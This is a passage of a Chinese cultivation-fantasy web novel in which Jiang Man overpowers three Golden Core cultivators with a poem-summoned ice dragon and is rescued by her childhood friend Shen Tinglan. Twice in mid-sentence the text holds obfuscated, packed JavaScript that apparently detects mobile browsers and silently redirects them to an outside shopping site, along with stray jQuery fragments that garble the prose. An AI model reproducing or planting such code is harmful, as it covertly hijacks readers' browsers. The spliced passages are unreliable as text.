李烈和和钱多宝对视一眼,一把长刀和一张金算盘一左一右出现在钟离樾头顶,长刀带着猎猎寒光,朝着钟离樾当头砍下,金算盘的算珠快速拨动着,每一下都能扰人神魂。 赵无常可不会小看钟离樾,盛名之下无虚士,他趁此机会掏出自己的九节棒朝着江蔓抽去,想要速战速决。 赵无常在门派负责刑法,不仅惩罚弟子,还负责惩治内贼和魔修,手段凌厉,九节棒的前两节已经被血液染黑,攻击间自然带了几分煞意。 他要的是一击必杀。若是今日不能在这里杀了江蔓,他们凌虚阁的颜面岂不是被踩在脚下? 今日只有在所有人面前杀了江蔓,才能为秦武报仇,才能维护凌虚阁的形象。 钟离樾面色不变,仿佛三个金丹修士的出手对他来说不值一提,轻轻敲击不染尘的剑身,长剑轻吟一声,震得正对面的李烈动作顿了一下,随即长剑飞出,李烈的大刀和钱多宝的金算盘被拍飞。 钟离樾并不想伤人,所以剑并未出鞘,击飞大刀和金算盘后,剑身又朝赵无常飞去,砸在他手上,将他九节棒的攻击击散。 赵无常一击落空,怒道:“钟离樾,你知不知道死的是谁?” “死的是秦武,他父亲是我派掌门,目前已找到突破契机,正闭关突破,若成功的话,他出关就是出窍期修士。他的老祖,目前在云中界,修为深不可测,你真的想得罪他们吗?” 想到掌门的暴脾气,李烈脸上也露出恐惧,随即不管不顾扑到钟离樾那把飞在空中的剑上,将剑死死压在身下,冲赵无常叫道:“快攻击。” 钱多宝紧随其后,压在李烈身上,想将剑控制住。 钟离樾:“……”说实话,从未见过如此攻击手段。 之前远远躲开的众人瞧见这个场景也觉得奇妙,金丹期修士之间的打斗也这么朴素吗?飞身堵旁人飞剑? 其实是李烈和钱多宝知道钟离樾不会下死手,才会出此下策,他们也觉得丢脸,但试过了,确实打不过钟离樾,只能这样。 赵无常反应也快,九节棍朝着江蔓头上再度砸下。 钟离樾手指微动,刚想出手,便见一直被赵无常威压控制着的江蔓身上爆发出光芒。 金光中,江蔓身体凌空,一本金色巨书出现在她背后,巨书出现后,便带来极强的威压,显然,这是一个不知等级的宝物。 巨书不断翻页,金色的光芒将江蔓笼罩其中,也挡住了九节棍的攻击。 “只允许他秦武有老祖,难道我江蔓就没有祖宗吗?”江蔓站在空中,脚下盛开金莲,身后是万丈金光。 此刻她眸光低垂,远远看去,仿若神女下凡。 钟离樾有些愣神,这是他没见过的江蔓。 以往的江蔓,是被魔修抓走的落难者,是凌霄峰上的一丝温暖亮光,这还是第一次露出这样有攻击性却又带着锋利美的一面。 16. 力挽狂澜 无视周围人惊异的目光,江蔓取出盛放寒玉果的玉盒,寒玉果静静躺在盒中,散发出纯净的冰寒灵力。 在所有人震惊的目光中,她仰头将寒玉果吞下三分之一。剩下三分之二是留给大黄和冰鳞蛇的,她不会食言。 冰蓝色的汁液滴落在地上,瞬间变成一朵冰莲。 冰鳞蛇急得嘶嘶吐着舌头,倒不是心疼寒玉果,而是着急江蔓的状况。 寒玉果吸收寒脉精华长成,至寒至阴,只有皮糙肉厚的妖兽能够直接吞下,人类吞下虽能迅速提升修为,但寒气侵入灵脉,会导致体内灵气暴动,经脉受损。药效过后不仅提升的修为消失,人也会受伤。 只有将寒玉果炼制成丹药,才适合人类安全吸收其能量。 江蔓原本也想留着它炼制丹药,在突破金丹期的时候服用,但现在管不了那么多了。炼制成丹药固然好,如今还是保命最重要。 随着寒玉果被吞下,一股冰寒的气息顺着她的经脉流淌,磅礴到难以想象的冰寒灵力在她体内炸开。 江蔓只觉得痛,非常痛,整个人仿佛被冻僵了,随后她的气息开始疯狂攀升。 从筑基中期到筑基后期,再到伪金丹期,几乎是眨眼之间,她连破两个小境界。 她皮肤表面浮现无数细密的冰晶纹路,仿佛随时会碎裂。不仅经脉被撑开,丹田也在震颤。 寒玉果蕴含的灵力太庞大了,即使她只吞吃了三分之一,也不是筑基期修士能承受的。她强行吞服,虽提升了修为,但痛苦却是旁人难以想象的。 “果然是个疯子。”谢无回低声感慨,在秘境中他就感觉到江蔓的疯劲,但此刻还是被震撼到了,“即使暂时有金丹期的实力,面对三个真正的金丹期修士又有什么用呢?” 难道要同归于尽?江蔓看上去不像是个不惜命的人。 这是谢无回第一次心平气和看江蔓,看着她,想到了当年的自己。眸光中第一次带了几分欣赏。若不是两人相遇的场景太过不堪,或许他们也能成为朋友? 钟离樾握剑的手紧了紧。他想要靠近江蔓,却被江蔓的眼神制止了。 此刻江蔓细长的眼睛微挑,眼波流转。看人的时候自带冷气,这一眼竟让钟离樾顿住脚步。 江蔓从未如此看过他。 “江蔓,你……”他的声音干涩,其中情绪难辨。 可江蔓已然听不见。 她现在什么都听不见,脑海中只有一个念头——变强。 强到足以自保,强到没人能够随意打杀她。 她站在空中,周身缭绕着冰寒灵力,长发无风自动,发梢凝结出细密的冰晶,脚下金莲被寒玉果影响已然变成冰莲,微微一动,便盛开朵朵冰莲,仿佛一尊冰雕美人。 伪金丹,可以暂时发挥出金丹期的实力。 可所有人都知道,这是虚假的境界。等这股外力消散,她的修为会瞬间跌落,甚至可能比原本的筑基中期还低。 江蔓抬眼,看向赵无常等人:“今日,让你们也见见我的老祖。” 她那双清冷的眼眸此刻带了点冰蓝,瞳孔深处似有雪花旋转,眼角的泪痣也仿佛结了冰。她抬手,身后书本疯狂翻页,周身金光大甚。 赵无常的九节棍早就被弹飞,正目瞪口呆看着江蔓。这发展,让他这个见识多广的老牌金丹修士也意外不已。 江蔓面上冷漠,实际上在识海中已经开始嘶吼:“系统,快,点亮!把所有灵力、所有灵石、所有一切,全部押上,给我点亮新的诗篇。” 系统也气得鼓成一个光球:“点!贷款点!给我干他们!” 它声嘶力竭:“干!” 旁人看不出江蔓内里的忙乱,只能看到她抬起素白的手,轻描淡写地凌空虚点。 “北国风光,千里冰封,万里雪飘。” 以她指尖为中心,一个无形的领域骤然展开,将秘境前所有人笼罩其中。 领域之内,漫天冰雪,一片素白。 温度骤降,空气冻结,灵力冻结,连光线都仿佛被冻住了。明明众人都是修真者,但此刻却像普通人一样感觉到了冷。 “望长城内外,惟余莽莽。” “吼!” 一声震天龙吟,响彻九霄。 无数冰雪在空中凝聚,化作一条横亘天际的万里冰龙。冰龙咆哮,龙身蜿蜒,是长城的形状。 长城化龙,冰封天下。 原本还在嘶嘶叫着的冰鳞蛇呆楞地看着这条冰雪巨龙,双目亮晶晶,其中似有野望。 “惜秦皇汉武,略输文采……”江蔓吐出一口血,这首诗再也念不下去了。 系统开始心疼:“这首诗超越你的等级太多了,即使耗尽心神,也不可能在这个阶段将这首诗的威力全部展现。” 江蔓擦了擦唇角的血,够了,她的其中一个老祖宗来了。 风雪漫天中,一道虚幻的身影缓缓凝聚在江蔓的身旁,那是一个身穿黑色龙袍、头戴十二旒冠冕的帝王虚影。他负手而立,眼神睥睨,仿佛在俯视苍生。 千古一帝秦始皇。 虚影抬手,和江蔓的手一起,朝着赵无常所在的方向,轻轻一点。 冰龙俯冲而下,携带着千古帝王的意志,携带着北国风雪的肃杀,携带着江蔓全部的灵力撞向赵无常。 原本赵无常并不将江蔓放在心上,即使靠着灵果将修为提到伪金丹期又如何?他赵无常可是真真正正的金丹期。 但眼看着冰龙俯冲而来,赵无常再也不敢托大,疯狂催动所有法宝和秘术,想要抵挡这次攻击。可在那条万里冰龙面前,他的抵抗过于脆弱。 冰龙撞碎了他的护身法宝,撞碎了他的一切防御,然后狠狠撞在他身上。 赵无常如断线风筝般倒飞出去,喷出的鲜血瞬间结冰。他重重砸在百丈外的山壁上,山壁轰然崩塌,将他掩埋。 生死不知。 江蔓嘴角溢血,体内经脉已经开始断裂,但是她并不停止,视线落在边上的李烈和钱多宝身上。 她继续和身旁的虚影一同扬手,李烈和钱多宝同样被冰龙撞飞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152945|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但两人没有赵无常受伤那么重。 只不过瞬息间,一个金丹期被撞飞,两个金丹期被撞得趴在地上,场景实在太过震撼。 全场死一般的寂静。 所有人都瞪大眼睛,看着那个站在冰封领域中央、周身缭绕风雪的女子,她此刻,仿佛冰雪天地的王。 这就是江蔓新得到的天阶功法吗? 不是剑意,不是法术,不是阵法。 这是一种他们从未见过、从未听闻的力量。却莫名贴合天地灵气涌动的规律,借助天地力量,发挥极强大的力量。 不染尘早已经回到钟离樾的手中,此刻正微微颤抖。他的剑感受到了周围充沛的寒霜力量,有些抑制不住地激动。 三名金丹期修士被打倒,除了被轰进山壁的赵无常,其他两位没有伤到根本,很快就能站起。 江蔓挺直脊背,双手背于身后。并不是她想在众人面前装模作样,而是因为此刻她手背上青筋暴起,指节也因为用力攥紧而发白。 她灵力已经耗尽,体内经脉也到了极限,必须得走了。 再不走,寒玉果强行催升的修为就会消失,趁现在众人被她震住的时候,正是离开的最好时机。 江蔓的瞳孔已经彻底变成冰蓝色,雪花的虚影缓缓旋转。她抬眼,看向那群被惊得鸦雀无声的修士,最后一扬手,众人被吓得退后一步。 江蔓嘴角勾起了一丝近乎嘲讽的弧度。原来只要站得够高,所有人都会重视你,所有人都会惧怕你。 她抬起手。 地面震动。 江蔓脚下,冰层再度疯狂生长、拔高,转眼间化作另一道巍峨蜿蜒的冰雪长城,将她牢牢护在中央。 先前撞翻三个金丹的冰龙盘绕而起,龙首昂起,发出震天龙吟,随即背起江蔓,在众人诧异的目光中,光速……逃跑了。 江蔓已经到了极限,冰雪巨龙的背上,她吐出一口鲜血,脸色苍白如纸,身形摇摇欲坠,全靠意志强撑着。她不敢昏倒,一旦她昏倒,巨龙便会消失,冰雪领域也会完全消散,到时候只能任人宰割。 “不好,她要跑,抓住她。”李烈刚从地上爬起来,就意识到江蔓已经是强弩之末,这个时候不抓她,怕是就要错过好时机了。 他扔出长刀,却被高大的虚影挡住,但挡住攻击后,虚影的身形开始缓缓淡去,随后彻底消散。 冰雪领域也随之崩塌,化作漫天细雪,簌簌落下。 李烈准备再攻击,混乱中,一道人影如鬼魅般掠出,他非常快,快得连金丹修士都只看到一抹残影。 黑影穿过众人,一把抓住被冰龙护住但明显意识已近模糊的江蔓,低喝一声:“走!” 声音低沉,带着某种刻意掩饰的沙哑。 江蔓虽然神志不清,即将昏迷,还是认出了这个声音,是沈澜。 江蔓迷迷糊糊地看着他,沈澜一个散修,怎么敢在这个时候出面救她? 这个念头只来得及闪过一瞬,江蔓便彻底失去了意识。巨龙消失,冰雪消散。 17. 救人真相 沈澜单手抱住江蔓,另一只手朝空中抛出一物,那是一枚拳头大小的银色圆珠。 圆珠在空中炸开,化作漫天蓝色烟雾,烟雾弥漫,瞬间笼罩了青鸾秘境方圆数百米的范围,连金丹修士的神识都无法穿透迷雾。 “雷火珠?不对,这是北境的幻海迷珠?”钱多宝失声惊呼。他平日喜欢灵石灵宝,对各方宝物也是如数家珍。 苍茫界分为四大块地界,东域、北境、西漠、南荒。他们太华宗、凌虚阁、沧澜派三大大门派所在的地方就是东域。 而幻海迷珠是北境出了名宝物,在金丹期修士中也非常流行,因为捏碎它形成的烟雾,元婴期修士用神识都看不透,是逃跑的好东西。 看到这烟雾出现,李烈知道此次怕是抓不住江蔓了。凌虚阁的脸这次是丢定了。 迷雾时间只有一刻钟,但对沈澜来说,已经足够了。他抱着江蔓,两人的身影很快消失在群山云雾之中。 烟雾渐渐散去。 钟离樾站在原地,剑已然归鞘。 他望着江蔓消失的方向,脸上看不出什么表情。 赵无常气急败坏地走到他面前,也顾不得钟离樾的冷脸,厉声道:“钟离道友,你就这么放她走了?” 他们的神识没办法穿透迷雾,没办法继续追踪江蔓,难道钟离樾也不可以吗? 钟离樾当年在神识无法使用的迷障林连斩三个金丹初期魔修,这也是他的成名战。 他的剑可是不用神识便能使用的。 钟离樾淡淡瞥了他一眼:“此事我自会向掌门禀明,凌虚阁若要追究,可派人来太华宗交涉。” “你!”赵无常气得浑身发抖,却不敢真和钟离樾动手。他们三个金丹期加起来都打不过一个钟离樾。当然若是搏命的话,情况不好说。但他针对的是江蔓,没必要和钟离樾搏命。 他咬了咬牙,恨恨道:“好!好!老夫这就回禀掌门,看你太华宗如何交代。” 说完,他转身怒气冲冲带着凌虚阁弟子离开了。 留下太华宗众人面面相觑,谁也没说话。况且一时也不知道说什么,他们还震惊在江蔓修为的突飞猛进中,凌霄峰的五灵根杂役弟子,怎么突然变得这么厉害了?那冰雪满天还是挺震撼的。 此时太华宗带队金丹长老也匆匆赶来,叹了口气,走到钟离樾身边,低声道:“钟离师弟,此事……” “我会处理。”钟离樾打断他。 他最后看了一眼江蔓消失的方向,御剑率先回了太华宗。 脚步依旧平稳。 可若仔细看,便能发现,他的手一直紧握。 云雾森林深处,沈澜抱着昏迷的江蔓,在一处隐蔽的洞府前停下。 他小心带着江蔓进入洞府,洞府内有一个灵泉,他利用灵泉布置了药浴,随后将江蔓放进灵泉里。然后快速在洞口布下数重隐匿阵法。 做完这些,他才松了口气,低头看向江蔓。 她脸色苍白,气息微弱,修为已跌至筑基期,此刻只有练气八层。身上皮肤寸寸渗血,显然伤得不轻,眉宇间却依旧残留着一丝坚韧。 沈澜沉默地看着她,许久,才伸手抹平江蔓皱着的眉心,轻声自语:“蔓蔓。” *** 江蔓是在一阵清冽的草木香气中醒来的。 她睁开眼。 入目是氤氲的雾气,带着淡淡的灵光。她正半躺在一汪泉水中,泉水约莫只到胸口,温度适宜。水面漂浮着一些她叫不出名字的灵草,还有几朵莹白形似雪莲的花。 那些清冽的香气,正是源于此。 她低头,看见自己身上穿着的还是那件普通的女修衣裙,此刻浸了水贴在身上,隐约透出肌肤的颜色。身上那些骇人的伤口已经消失不见,只留下一些淡粉色的新生皮肉。 她试着动了一下手指。 疼。 她又尝试运转灵力,只觉得经脉中空荡荡的,丹田也沉寂得可怕,她的修为跌回练气八层了。 用寒玉果强行提升修为,再加上使用跨阶级太多的诗作战,还是带来了反噬。 她靠在温润的泉壁石上,闭上眼,深吸了一口气。 她还活着,这就够了。 修为没了可以再练,她现在有属于自己的修炼方法,且不缺乏从头再来的勇气。 不过她怎么会在灵泉里?江蔓想到了秘境门口抓住她手臂带她离开的沈澜。 那个在秘境中说话温和的散修,他们只有一面之缘,他为何要冒着大风险救她?又怎能在那样的局面下,从三名金丹长老和钟离樾面前将她带走? 江蔓脑海中满是疑问。 就在这时,脚步声从洞口方向传来。江蔓立刻警惕地绷紧身体,冰鳞蛇在她手腕上昂起头,她现在灵力不足,冰鳞蛇就是她最大的依仗了。 雾气被一只手拨开。 一道修长的身影走了进来。 是沈澜。 但又不是江蔓记忆中的那个沈澜。 山洞的微光中,一位蓝衣公子长身而立,身姿挺拔清隽。似乎是察觉到江蔓醒了,他抬眸看来,眉目疏朗,唇角噙着一抹温和笑意。眉心那一点朱砂痣,色泽鲜润,衬得他整张脸愈发清俊出尘,朗朗如明月入怀。 沈澜在秘境中易容过,此刻他去掉了脸上的伪装。 这才是他真正的样子。 “沈道友?”江蔓迟疑地开口,声音还有些沙哑。 “是我。”沈澜,点了点头。他看着她,眼神复杂,“江蔓,好久不见。” 好久不见? 江蔓一愣。他们不是在秘境中才认识的吗? 沈澜看出了她的疑惑,轻轻叹了口气:“看来,你是真的完全不记得了。” 他顿了顿,声音放得很轻:“你还记得二十五年前,青州李家村外破庙里,那个无家可归的小孩吗?” 江蔓原本有些迷糊的脑袋彻底清醒过来。 青州李家村…… 她想起来了。 在青鸾秘境被系统灌输能量后,她恢复了记忆,但当时光顾着回顾穿越前的记忆了,现在有沈澜提醒,江蔓想起了她刚穿越到这个世界之后,尚未被钟离樾带回宗门时,那十多年颠沛流离的幼年时光。 那时她刚穿越,生活在青州李家村地界,有一个好心奶奶将她照顾到六岁,但奶奶去世后,她只能靠村里人接济生活,平日一直一个人住在村外荒废的山神庙里。 直到她在庙后的山林里捡到了一个受伤昏迷的男孩,才算有了个伴。 男孩比她大一点,浑身是伤,气息奄奄。 她自己活得艰难,靠村民偶尔接济度日,但还是救了男孩。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158111|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 也不知道是靠她的努力,还是靠男孩极强的求生欲,终于还是将他救活了。 他们两个无依无靠的孩子,就这样在漏风的破庙里相依为命。 他们会一起在山里布置简单陷阱狩猎,一起分吃烤煳的猎物,一起做李家村的孩子王,也会一起挤在破草席上,仰头看着从庙顶破洞处洒下来的月光,相约长大了一起做仗剑江湖的侠客,一起云游四海,一起斩妖除魔。 直到后来有魔修抓走了男孩,江蔓为了救他,被魔修一同抓住关在结界中。 再后来便是钟离樾一剑劈开结界救了她,她在天道控制下失去记忆,随钟离樾去了太华宗。 那男孩就是沈澜,不,沈澜是他的化名,他真正的名字叫沈听澜。 江蔓抬起头,看向沈听澜,没想到当年那个可怜兮兮,只知道跟在她身后的男孩已长成这副翩翩佳公子的模样。 江蔓眼中充满了震惊和愧疚。被钟离樾救了之后,她就彻底忘记了沈听澜,虽然这并不是她所愿。 她声音略带干涩,“对不起,我都忘了。” 难怪第一次见面时,沈澜介绍后见她没反应会有些失落。 “不用道歉。”沈听澜摇了摇头,颇为善解人意,“当时你伤势很重又受了惊吓,失忆也正常。我也被我的亲生父母找到并接走了,受家族规矩所困,很长时间不能出门,后来打听到你被太华宗的钟离樾带走,成了凌霄峰的杂役弟子。我想,你在那里至少是安全的。” 其实他偷偷离开过家,来太华宗找过江蔓,但那时的江蔓完全没有以往的记忆,眼中只看得到钟离樾一人,看不到其他人,包括……他。 凌霄峰的风雪中,他看到江蔓一步一台阶种着流光花,举着流光花冲着一身冷气的钟离樾笑,即使钟离樾不理她,她也自得其乐。 等钟离樾离开后,他装作路过,与江蔓打了招呼,但江蔓只当他是普通的太华宗弟子,朝他点了点头,连笑都没笑一下。 他站在凌霄峰的风雪里呆楞很久,最后捡起一朵掉落的流光花离开了。 不过这些都是过去的事情了,不值得再提。 现在江蔓离开太华宗,离开钟离樾了,她眼中不会只有钟离樾一人了。 沈听澜面上带着温和的笑,看着江蔓,继续说道:“直到这次,我修为出了些岔子,需要几种特殊的灵草,才伪装身份去了青鸾秘境。想着顺便来看看你,没想到在秘境中就遇到你了。”他脸上的笑止不住,“没想到你还是老样子,心性纯善,连陌生的散修都愿意救一救。” 江蔓沉默了很久,还是开口问道。 “为什么?”她问,“你救我会惹上麻烦的,凌虚阁不会罢休,你没必要为我做到这一步。” 江蔓觉得她和沈听澜确实有交情,但修真界一向各自扫门前雪,她惹上这么大的麻烦,沈听澜装作不认识她也是情有可原。 她失忆这么久,完全将沈听澜抛在脑后,两个人整整十五年没有联系过。 沈听澜看出了她的想法,毫不在意地回答:“你救我在先。没有你,我可能早就死了。而且……”他不知想到了什么,忍不住笑得更灿烂,“我们那时候可是一起拜过山神像的,说要有福同享,有难同当。” 他声音温和却坚定:“我相信如果是我落到这个境况,你也会救我的。”